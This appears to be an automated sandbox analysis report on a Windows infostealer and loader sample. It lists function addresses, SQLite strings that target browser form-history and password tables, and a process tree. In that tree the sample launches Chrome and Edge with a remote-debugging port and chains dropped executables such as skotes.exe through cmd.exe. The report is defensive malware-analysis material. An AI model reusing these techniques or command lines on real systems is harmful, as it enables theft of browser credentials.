Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC70E20	0_2_6CC70E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9EFB0	0_2_6CB9EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC6EFF0	0_2_6CC6EFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB90FE0	0_2_6CB90FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD8FB0	0_2_6CCD8FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB96F10	0_2_6CB96F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC52F70	0_2_6CC52F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD0F20	0_2_6CCD0F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBFEF40	0_2_6CBFEF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC7C8C0	0_2_6CC7C8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC968E0	0_2_6CC968E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC64840	0_2_6CC64840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC9E850	0_2_6CC9E850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE0820	0_2_6CBE0820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1A820	0_2_6CC1A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCAC9E0	0_2_6CCAC9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC49F0	0_2_6CBC49F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC209A0	0_2_6CC209A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC4A9A0	0_2_6CC4A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC509B0	0_2_6CC509B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE6900	0_2_6CBE6900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC8960	0_2_6CBC8960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC90AC0	0_2_6CC90AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCA6AD0	0_2_6CCA6AD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC0EA80	0_2_6CC0EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC0CA70	0_2_6CC0CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC3EA00	0_2_6CC3EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC48A30	0_2_6CC48A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC7EBD0	0_2_6CC7EBD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC96BE0	0_2_6CC96BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC94BE0	0_2_6CC94BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC30BA0	0_2_6CC30BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCA4BA0	0_2_6CCA4BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2A4D0	0_2_6CC2A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCBA480	0_2_6CCBA480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD64D0	0_2_6CBD64D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF4420	0_2_6CBF4420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA8460	0_2_6CBA8460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1A430	0_2_6CC1A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB845B0	0_2_6CB845B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC5A5E0	0_2_6CC5A5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1E5F0	0_2_6CC1E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC94540	0_2_6CC94540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD8550	0_2_6CCD8550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC30570	0_2_6CC30570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF2560	0_2_6CBF2560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE8540	0_2_6CBE8540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2E6E0	0_2_6CC2E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEE6E0	0_2_6CBEE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB46D0	0_2_6CBB46D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEC650	0_2_6CBEC650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBBA7D0	0_2_6CBBA7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC10700	0_2_6CC10700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA00B0	0_2_6CBA00B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB88090	0_2_6CB88090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCA4090	0_2_6CCA4090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC6C0B0	0_2_6CC6C0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC5C000	0_2_6CC5C000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDE070	0_2_6CBDE070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC58010	0_2_6CC58010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB901E0	0_2_6CB901E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC06130	0_2_6CC06130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC74130	0_2_6CC74130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF8140	0_2_6CBF8140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD162C0	0_2_6CD162C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC622A0	0_2_6CC622A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC5E2B0	0_2_6CC5E2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC28250	0_2_6CC28250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC18260	0_2_6CC18260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC5A210	0_2_6CC5A210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC68220	0_2_6CC68220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEE3B0	0_2_6CBEE3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC23A0	0_2_6CBC23A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE43E0	0_2_6CBE43E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCAC360	0_2_6CCAC360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC26370	0_2_6CC26370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD2370	0_2_6CCD2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB92370	0_2_6CB92370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC02320	0_2_6CC02320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB98340	0_2_6CB98340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCCDCD0	0_2_6CCCDCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC51CE0	0_2_6CC51CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2FC80	0_2_6CC2FC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCA9CB0	0_2_6CCA9CB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA1C30	0_2_6CBA1C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCB9C40	0_2_6CCB9C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC9DC60	0_2_6CC9DC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB93C40	0_2_6CB93C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC61DC0	0_2_6CC61DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB83D80	0_2_6CB83D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD9D90	0_2_6CCD9D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF3D00	0_2_6CBF3D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB3EC0	0_2_6CBB3EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC9FE40	0_2_6CC9FE40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD15E60	0_2_6CD15E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCEBE70	0_2_6CCEBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC9DE10	0_2_6CC9DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCADFC0	0_2_6CCADFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD13FC0	0_2_6CD13FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB1F90	0_2_6CBB1F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC3BFF0	0_2_6CC3BFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCCBFA0	0_2_6CCCBFA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB85F30	0_2_6CB85F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC5F20	0_2_6CBC5F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCE7F20	0_2_6CCE7F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC93F30	0_2_6CC93F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2F8C0	0_2_6CC2F8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC6F8F0	0_2_6CC6F8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCEB8F0	0_2_6CCEB8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9D8E0	0_2_6CB9D8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC38E0	0_2_6CBC38E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCAB8B0	0_2_6CCAB8B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC63840	0_2_6CC63840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBED810	0_2_6CBED810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC299C0	0_2_6CC299C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC279F0	0_2_6CC279F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA1980	0_2_6CBA1980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF59F0	0_2_6CBF59F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC61990	0_2_6CC61990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCA5990	0_2_6CCA5990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC99D0	0_2_6CBC99D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC0F960	0_2_6CC0F960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC4D960	0_2_6CC4D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCDF900	0_2_6CCDF900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC45920	0_2_6CC45920
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Code function: 21_2_009B5C83	21_2_009B5C83
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Code function: 21_2_009B735A	21_2_009B735A
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Code function: 21_2_009F8860	21_2_009F8860
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Code function: 21_2_009B4DE0	21_2_009B4DE0
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Code function: 21_2_009B4B30	21_2_009B4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00FB78BB	22_2_00FB78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00FB8860	22_2_00FB8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00FB7049	22_2_00FB7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00FB31A8	22_2_00FB31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00F74B30	22_2_00F74B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00F74DE0	22_2_00F74DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00FB2D10	22_2_00FB2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00FB779B	22_2_00FB779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00FA7F36	22_2_00FA7F36

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00F880C0 appears 130 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CD1D930 appears 51 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CBB3620 appears 75 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CBB9B10 appears 89 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CCC9F30 appears 33 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CD1DAE0 appears 63 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CBEC5E0 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CD109D0 appears 285 times
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Code function: String function: 009C80C0 appears 130 times

Source: file.exe, 00000000.00000002.2566711248.000000006FD72000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2560094047.0000000023A92000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: yumhawtm ZLIB complexity 0.9949254477896341

Source: classification engine

Classification label: mal100.phis.troj.spyw.evad.winEXE@112/241@61/35

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CBF0300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6CBF0300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\57R1OFKI.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8752:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\7c591d32-7a5a-4a9a-9431-d4b7884c64eb.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2565025325.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2556487131.000000001DA66000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2565025325.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2556487131.000000001DA66000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2565025325.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2556487131.000000001DA66000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2541025259.000000000179E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT fieldname, value FROM moz_formhistory;
Source: file.exe, 00000000.00000002.2565025325.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2556487131.000000001DA66000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2565025325.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2556487131.000000001DA66000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2565025325.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2556487131.000000001DA66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2565025325.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2556487131.000000001DA66000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2422294420.000000001D95D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2337610102.000000001D969000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870283192.0000000005E2B000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870522203.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2896978346.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2897467851.0000000005E97000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.2985501409.0000000005C65000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3000662045.0000000005C94000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.2984590890.0000000005C94000.00000004.00000800.00020000.00000000.sdmp, AEHIJDAFBKFHIDGCFBFC.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2565025325.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2556487131.000000001DA66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2565025325.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2556487131.000000001DA66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 34%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1916 --field-trial-handle=2228,i,18326572126976972864,15207654653039505024,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2388 --field-trial-handle=2184,i,1909656663810025514,11843164480242829136,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6928 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7592 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7592 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCFBAKKJDBK.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsCFBAKKJDBK.exe "C:\Users\user\DocumentsCFBAKKJDBK.exe"
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe "C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe "C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe "C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7172 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe "C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe "C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe"
